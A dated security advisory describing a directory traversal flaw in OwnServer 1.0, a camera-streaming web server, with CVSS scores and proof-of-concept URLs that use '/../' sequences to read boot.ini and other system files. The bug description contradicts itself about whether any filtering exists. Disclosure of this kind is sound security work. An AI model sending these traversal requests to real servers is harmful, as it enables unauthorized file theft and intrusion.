OwnServer 1.0 Directory Transversal Vulnerability

2007.11.01
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

####################################################################### Application: OwnServer (Used By Security Cameras Products) Vendors: http://www.anteco.co.il Big Resellers: http://www.anykeeper.com http://www.sahar-systems.co.il Versions: <= 1.0 Platforms: Windows Bug: Directory Transversal Vulnerability Risk: High Exploitation: Remote with browser Date: 25 Dec 2003 Author: Rafel Ivgi, The-Insider e-mail: the_insider (at) mail (dot) com [email concealed] web: http://theinsider.deep-ice.com ####################################################################### 1) Introduction 2) Bug 3) The Code ####################################################################### =============== 1) Introduction =============== OwnServer is a web server used as a webserver for watching security cameras remotly. It allows broadcasting live streaming video on the web through the built-in webserver. ####################################################################### ====== 2) Bug ====== The webserver uses a protection to avoid the directory traversal bug. "//" is replaced to "" "\." and "\.." is replaced to "" "\" is replaced to "/" "\\" is replaced to "//" The webserver uses no protection to avoid the directory traversal bug. The problem happens when the attacker uses the classic pattern "/../" that allows him to see and download any file in the remote system knowing the path. This allows any attacker to : Read and download any local file, and in most cases retrieve the machine's password files and invade it (using ssh,ftp,http,netbios,samba etc...). ####################################################################### =========== 3) The Code =========== http://<host>/../../boot.ini http://<host>/../../../boot.ini http://<host>/../../../../boot.ini http://<host>/../../../../../boot.ini http://<host>/../../../../../../boot.ini ####################################################################### --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."


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